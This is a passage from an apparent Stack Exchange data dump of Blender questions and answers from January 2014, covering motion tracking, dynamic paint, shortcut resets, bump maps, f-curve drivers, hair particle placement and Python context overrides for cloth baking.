  <row Id="6231" PostTypeId="2" ParentId="6196" CreationDate="2014-01-13T10:11:39.370" Score="2" Body="&lt;p&gt;There are several thing that i think could be going wrong.&#xA;The reason it is skipping, is because the tracker is mistaking the colors&#xA;of pixels in the area; patterns as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Possible Solutions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you can sacrifice the tracking time, perhaps scale the tracking box to cover the whole wheel. The colors in the area are very similar. Low light, and low color diversity tracks are usually harder to track.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you scale up the box and it still jumps around like that, you can always fix it manually. Go the frame that the box jumped away and use the G key to manually reposition the tracking box.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Further Notes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lock button simply prevents you from moving it accidentally manually. I don't think it will prevent the box from re-tracking if you start tracking forwards. Or backwards!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember NOT to confuse alt+A (Play) for the little &quot;play-like&quot; tracking buttons on the left panel. Play will just play everything already tracked, where the buttons that look like play buttons will track forward or backwards, overwriting any previous tracks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DwI2g.png&quot; alt=&quot;Playing and Tracking Buttons are similar. Be Careful not to confuse&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this was helpful, or at least gave you some ideas on where to go next.&#xA;-Ryan&lt;/p&gt;&#xA;" OwnerUserId="2137" LastActivityDate="2014-01-13T10:11:39.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6232" PostTypeId="2" ParentId="6221" CreationDate="2014-01-13T10:42:54.517" Score="6" Body="&lt;p&gt;It turns out I was making a silly mistake, but I'll run through the steps in case it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll assume we're starting with the default cube and the plane scaled up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EFJrZ.png&quot; alt=&quot;Plane and cube&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1) UV map the plane&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the plane, hit TAB to get into Edit Mode, then press U.  This will bring up a menu.  Select Unwrap.  Hit TAB to get back to Object Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XadJo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2) Give the cube some motion&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to actually see the paint, you have to make the cube move around.  So give the cube some motion in the XY-plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3) Enable Dynamic Paint&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the cube, go the Physics tab of the Properties window.  Enable Dynamic Paint, click on Brush and then &quot;Add Brush&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now select the plane, click on Dynamic Paint.  Make sure that Canvas is selected.  Hit &quot;Add Canvas&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change Format to &quot;Image Sequence&quot;.  Under the Dynamic Paint Output header, click the box next to &quot;UV Map&quot; and find your UV map you just created and select it.  (It'll probably be called &quot;UVMap&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just underneath UV Map, you can select where you want the texture images to be outputted to.  Hit &quot;Bake Image Sequence&quot;.  I believe you have to bake it.  You can't just render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4) Give texture to plane&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the plane still selected, go to the Materials tab of Properties window, and hit New to give a material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go to the Texture tab.  Make sure the Material Textures button is selected (this is where I messed up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CZMmm.png&quot; alt=&quot;Materials Texture Button&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hit New to give the plane a texture.  For Type, choose &quot;Image or Movie&quot;.  Scroll down to the header Image, and click on Open.  Navigate to the folder where you outputted your images to and select the first image (probably called paintmap0001.png) and click on Open Image.  Then look for Source, which you should set to Image Sequence.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9kniD.png&quot; alt=&quot;Selecting Image Sequence&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5) Render&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's all.  Just render it and you should see the paint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AtTER.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2014-01-13T10:42:54.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6233" PostTypeId="1" AcceptedAnswerId="6234" CreationDate="2014-01-13T14:35:18.980" Score="4" ViewCount="13068" Body="&lt;p&gt;I have just started using Blender but I feel stupid that I can't find how to reset/remove shortcut added through &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Lfx8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By accident I have added a right mouse to &lt;code&gt;Remove Doubles&lt;/code&gt; so my right click functionality is gone. Every time I right click Blender tries to remove doubles and I can't seem to be able to reverse to standard behaviour..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried exporting/importing factory settings through user preferences ( Input tab ) but that didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So can you please point me in the right direction how to reset the shortcuts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Blender 2.69.&lt;/p&gt;&#xA;" OwnerDisplayName="user2102" LastActivityDate="2017-11-26T21:35:11.167" Title="How to reset/remove a shortcut?" Tags="&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6234" PostTypeId="2" ParentId="6233" CreationDate="2014-01-13T14:54:54.923" Score="4" Body="&lt;p&gt;You can reset the shortcut in the &lt;em&gt;User Preferences&lt;/em&gt; (Menu / File / User Preferences) &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;U&lt;/kbd&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the input tab &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Searching the command &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the x right to the shortcut to remove the shortcut.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nKxpF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-01-13T14:54:54.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6235" PostTypeId="2" ParentId="6219" CreationDate="2014-01-13T15:19:22.587" Score="1" Body="&lt;p&gt;If you're talking about the halos, they are actually controlled by the material settings. You can change the size there. Just make sure your editing the correct material. The particles will use the material specified in the Render portion of the particle settings. E.g. if &quot;Material&quot; is set to 1, then the particles will use the first material in the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;I think what you actually want is for the halos to go away, and to use smoke instead (they're different techniques).&lt;/s&gt;&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2014-01-13T17:50:42.503" LastActivityDate="2014-01-13T17:50:42.503" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6236" PostTypeId="2" ParentId="6210" CreationDate="2014-01-13T15:36:33.767" Score="4" Body="&lt;p&gt;It depends on how much detail you want. There's a very (computationally) expensive method, and there's a very cheap method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;expensive&quot; method is to use the blocks mode of the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.62/Remesh_Modifier&quot; rel=&quot;nofollow&quot;&gt;remesh&lt;/a&gt; modifier which will give it a stepped look. (You would build the model like normal, and then apply the remesh modifier to it). This has the benefit of being highly controllable and gives you real geometry (which will give you a proper silhouette). But it will create a LOT of geometry, which will increase render times and slow down your viewport, depending on how fast your computer is, and how detailed your model is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;cheap&quot; method is to make a bump or normal map. (Bump and normal maps do the same thing in different ways, I find bump maps easier to make because they're just black and white, but normal maps give arguably better results... but that's neither here nor there). A bump/normal map will make the surface appear to have bumps that do not actually exist. This has the benefit of being relatively lightweight (assuming your bump map isn't a 3GB image) with very good detail. But bump/normal maps are arguably more difficult to create from scratch, and if you look at the model closely, especially at the edges, it will become apparent that the surface is actually flat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's lots of information out there about how to create &amp;amp; use bump/normal maps, and how to use remesh, so take a look and see which one does what you want it to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2014-01-13T16:57:28.327" LastActivityDate="2014-01-13T16:57:28.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6237" PostTypeId="2" ParentId="6194" CreationDate="2014-01-13T15:37:44.427" Score="7" Body="&lt;p&gt;Add a single key frame to the camera the go to the f-curve editor. Selcet the curve for the desired coordinate. Go to the proverties panel of the f-curve editor (if you don't have it press &lt;kbd&gt;N&lt;/kbd&gt; to get it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a Built-In Function modifier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oQjKy.png&quot; alt=&quot;Built-In function modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're looking for a &quot;sin&quot; type for each of your coeficients.&#xA;For example I'll do the X location formula you provided:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o0dzL.png&quot; alt=&quot;X location&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to check the &quot;additive&quot; option if your have more then one term in your equation&#xA;To enter &quot;cos&quot; you need to use the fact that cos(x)=sin(x+pi/2) &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_trigonometric_identities#Shifts_and_periodicity&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia: Trigonometric identities&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final graph for X location:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SINZH.png&quot; alt=&quot;Final Graph&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extension&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case you only needed sines and cosines, but it it would be nice if we could do it for any function. It would be nice if we had a any function modifier, but for now heres a work around:&#xA;This method is inspired by @gandalf3 comment&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a driver to the property you want to control using a equation&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hkWad.png&quot; alt=&quot;Adding driver&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then head over to the graph editor, and change from the f-curve editor to the driver-editor. Select the property you want to add an equation to on the left hand side. Now head over the the properties panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There change the variable type to &quot;single property&quot; and select the current scene object (You must first select a scene object type). Then type in &quot;frame_current&quot; into the path box. If you want you can name your variable (I called mine &quot;t&quot;)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zHDH5.png&quot; alt=&quot;Variable&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all you need to do is enter your equation into the box &quot;Expr:&quot; Remember that this is a python expresion so a quadratic function is x**2 not x^2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b0d91.png&quot; alt=&quot;Equation of motion&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you get an error saying somthing about &quot;Python Auto-execution disabled: reference this &lt;a href=&quot;https://blender.stackexchange.com/questions/1903/after-updating-to-blender-2-68-driver-scripts-are-no-longer-automatically-excecu&quot;&gt;question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1479" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-05-06T10:35:12.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6238" PostTypeId="2" ParentId="6210" CreationDate="2014-01-13T15:39:02.147" Score="10" Body="&lt;h2&gt;Bump map setting for BI (example)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'd recommend the &lt;strong&gt;Wood&lt;/strong&gt; procedural texture for this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dscPi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Bump map setting for Cycles (example)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can use a &lt;strong&gt;Wave Texture&lt;/strong&gt; node set to &lt;strong&gt;Bands&lt;/strong&gt; as bump map:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tA5sp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="1363" LastEditDate="2014-01-13T16:55:43.423" LastActivityDate="2014-01-13T16:55:43.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6239" PostTypeId="5" CreationDate="2014-01-13T15:56:06.030" Score="0" Body="" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2014-01-13T15:56:06.030" LastActivityDate="2014-01-13T15:56:06.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6240" PostTypeId="4" CreationDate="2014-01-13T15:56:06.030" Score="0" Body="Displacement mapping is where you use a texture for displacing the surface of a mesh." OwnerUserId="14" LastEditorUserId="14" LastEditDate="2014-01-13T15:56:06.030" LastActivityDate="2014-01-13T15:56:06.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6241" PostTypeId="2" ParentId="6194" CreationDate="2014-01-13T17:22:12.807" Score="1" Body="&lt;p&gt;According to the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.70/UI&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;, 2.70 will have support for &quot;Basic operations from python/BKE_unit (+, &lt;em&gt;, *&lt;/em&gt;, etc.), and math constants and functions (pi, sin, etc.).&quot; This combined with something I read (and can't find again, atm) which indicated that many more scene variables (like #frame) will be exposed to the input boxes, should mean that you can just type the function in ;-) ...eventually&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if you want to run a pre-release build, or wait that long, though ;-)&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-13T17:22:12.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6242" PostTypeId="2" ParentId="6230" CreationDate="2014-01-13T18:17:15.007" Score="4" Body="&lt;p&gt;Plane meta-elements have an X and Y Size you can edit in the &lt;em&gt;Properties editor &gt; Object Data &gt; Active Element&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fsH6P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it looks like this is what you are trying to achieve.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="599" LastEditDate="2014-01-13T19:41:47.467" LastActivityDate="2014-01-13T19:41:47.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6243" PostTypeId="2" ParentId="6229" CreationDate="2014-01-13T19:32:10.087" Score="0" Body="&lt;p&gt;The Blender Internal rendering engine (which is what the default startup file is set to) behaves different than the Cycles rendering engine. This might account for the discrepancy in what you are seeing. Otherwise I am not aware of any other setting that might affect the rendering output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I see when I render the file you provided: &lt;img src=&quot;https://i.stack.imgur.com/EBCGO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-01-13T19:32:10.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6244" PostTypeId="2" ParentId="6229" CreationDate="2014-01-13T19:44:40.857" Score="-2" Body="&lt;p&gt;I believe it has to do with the &quot;Persistent Images&quot; option in the Performance section of the Render settings. According to &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.65/Cycles&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;, &quot;Persistent Images option to keep images loaded on the device, saved time initializing next rendering.&quot; Though that's not very helpful, it might explain some things.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-13T19:44:40.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6245" PostTypeId="1" CreationDate="2014-01-13T20:24:14.843" Score="2" ViewCount="5862" Body="&lt;p&gt;I have the latest version of Blender installed (2.69) on Debian stable, and in System Preferences there is no CUDA (GPU) option for compute device. The graphics card is Nvidia GeForce 430. It supports CUDA 2.1, so according to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/GPU_Rendering&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; it should work. Looks like the Nvidia driver is at the newest version. Is it a bug or am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Still no answer. I've looked into the driver more: it's the most recent &lt;em&gt;repository&lt;/em&gt; version, but the driver on the Nvidia website is newer (mine is 304.88, theirs is 331.38). Does anybody run Blender on Linux with Nvidia drivers from repository (not nouveau but the manufacturer drivers)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anna&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I've seen a couple other threads with a similar question but in &lt;a href=&quot;https://blender.stackexchange.com/questions/5934/blender-cuda-rendering&quot;&gt;one&lt;/a&gt; the problem was resolved when Blender v.2.69 was installed and in &lt;a href=&quot;https://blender.stackexchange.com/questions/1448/how-to-enable-gpu-rendering-on-older-nvidia-gpus&quot;&gt;another&lt;/a&gt; the card in question was explicitly among the ones no longer supported.&lt;/p&gt;&#xA;" OwnerUserId="2140" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-02-22T11:47:44.580" Title="No CUDA option in system preferences - is it my driver?" Tags="&lt;gpu&gt;&lt;linux&gt;" AnswerCount="2" CommentCount="6" ClosedDate="2014-04-12T14:21:44.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="6246" PostTypeId="2" ParentId="6205" CreationDate="2014-01-13T22:08:49.830" Score="31" Body="&lt;p&gt;If they start off in sync at any point when you start playing, and gradually goes out sync, it means you don't have AV Sync turned on in the timeline panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VnZb1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-01-13T22:08:49.830" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6247" PostTypeId="2" ParentId="6210" CreationDate="2014-01-14T00:48:21.333" Score="7" Body="&lt;p&gt;Expanding on &lt;a href=&quot;https://blender.stackexchange.com/a/6238/599&quot;&gt;Leon Cheung's answer&lt;/a&gt;, you may want to add a little bit of unevenness to the texture so as to make it look more realistic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Cnuoi.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cnuoi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0msXm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0msXm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2014-01-14T08:50:47.510" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="6248" PostTypeId="1" CreationDate="2014-01-14T02:33:09.887" Score="1" ViewCount="102" Body="&lt;p&gt;I often find myself stumbling when trying to make a model that consists of oddly shaped parts, or with different required poly density's across (i.e. adding round arms to a square body). It can get very tricky to get the shape I want but keep everything perfectly aligned. Should I be more concerned with the topology, or should I be more concerned with the final shape?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example something like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Sy93X.png&quot; alt=&quot;a cube with unwholesome subdeivision&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1911" LastEditorUserId="20" LastEditDate="2014-01-14T16:03:21.643" LastActivityDate="2014-01-14T16:03:21.643" Title="Should I be concerned with symmetry/neatness?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-01-14T03:10:43.997" ContentLicense="CC BY-SA 3.0" />
  <row Id="6249" PostTypeId="1" AcceptedAnswerId="6252" CreationDate="2014-01-14T03:31:34.307" Score="4" ViewCount="1337" Body="&lt;p&gt;I'm having trouble using &lt;code&gt;bpy.ops.ptcache.bake()&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the error message &lt;code&gt;bpy.ops.ptcache.bake.poll() failed, context is incorrect&lt;/code&gt; no matter what I set the context to. I tried using &lt;code&gt;bpy.context.area.type=&quot;PROPERTIES&quot;&lt;/code&gt; but I still get the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set the context in order to bake a cloth simulation in a script?&lt;/p&gt;&#xA;" OwnerUserId="534" LastEditorUserId="599" LastEditDate="2014-01-15T02:27:22.723" LastActivityDate="2014-01-15T02:28:57.310" Title="Setting the context for cloth bake" Tags="&lt;python&gt;&lt;baking&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6250" PostTypeId="1" AcceptedAnswerId="6251" CreationDate="2014-01-14T03:34:17.823" Score="22" ViewCount="25859" Body="&lt;p&gt;I am trying to make some grass. I want to have grass only near the edges of my plane and not on the center. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is any way to do that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or I have to split the plane and make different objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yscjB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user2087" LastEditorUserId="599" LastEditDate="2014-01-14T08:32:54.763" LastActivityDate="2017-04-15T20:09:32.010" Title="How to control hair particle position?" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6251" PostTypeId="2" ParentId="6250" CreationDate="2014-01-14T04:08:31.163" Score="16" Body="&lt;h1&gt;Vertex Weights:&lt;/h1&gt;&#xA;&lt;p&gt;You can use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Vertex Groups&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Subdivide your plane (&lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt; Subdivide&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NxBUw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deselect the middle with Circle select (&lt;kbd&gt;C&lt;/kbd&gt;) and use &lt;kbd&gt;MMB&lt;/kbd&gt; to deselect (or hold &lt;kbd&gt;Shift&lt;/kbd&gt; and use &lt;kbd&gt;LMB&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zpdYe.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a vertex group and click &lt;em&gt;Assign&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Object data &amp;gt; Vertex Groups&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jI0WA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the vertex group in &lt;em&gt;Properties &amp;gt; Particles &amp;gt; Vertex Groups&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XkmoM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;Textures:&lt;/h1&gt;&#xA;&lt;p&gt;You can also use a &lt;em&gt;Particle Texture&lt;/em&gt;. This does not require that you subdivide your mesh.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a particle texture to your object by clicking &lt;em&gt;New&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Particle system &amp;gt; Textures&lt;/em&gt;. Then switch to the texture tab.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ensure that the the datablock type is set to &lt;em&gt;Particle system&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the texture type to &lt;em&gt;Blend&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Progression&lt;/em&gt; to &lt;em&gt;Sphere&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Density&lt;/em&gt; in the &lt;em&gt;Influence&lt;/em&gt; section so the texture influences the density of the particles.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Ramp&lt;/em&gt; to control the texture with a color ramp.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Flip the ramp and adjust the stops so the particles are correctly placed.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aSI4o.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-01-14T08:24:49.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6252" PostTypeId="2" ParentId="6249" CreationDate="2014-01-14T04:33:38.717" Score="4" Body="&lt;p&gt;You need to &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.ops.html?#overriding-context&quot; rel=&quot;nofollow noreferrer&quot;&gt;override the context&lt;/a&gt;. AFAIK setting &lt;code&gt;area.type&lt;/code&gt; does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Baking cloth is very similar to baking fluid or smoke.&lt;br&gt;&#xA;This question has already been asked for smoke and fluid, so I will quote &lt;a href=&quot;https://blender.stackexchange.com/q/4963/599&quot;&gt;one of the answers&lt;/a&gt; here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Baking smoke is very similar to baking fluid, so I will quote&#xA;  &lt;a href=&quot;https://blender.stackexchange.com/a/728/599&quot;&gt;brecht's answer&lt;/a&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;It's a bit more complicated than it could be because fluid simulating baking is only exposed as an operator. That means it expects an active&#xA;    object in the context, which is usually provided by the user interface&#xA;    that is not available in background mode.&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;However, it is possible to override context manually, see the &lt;a 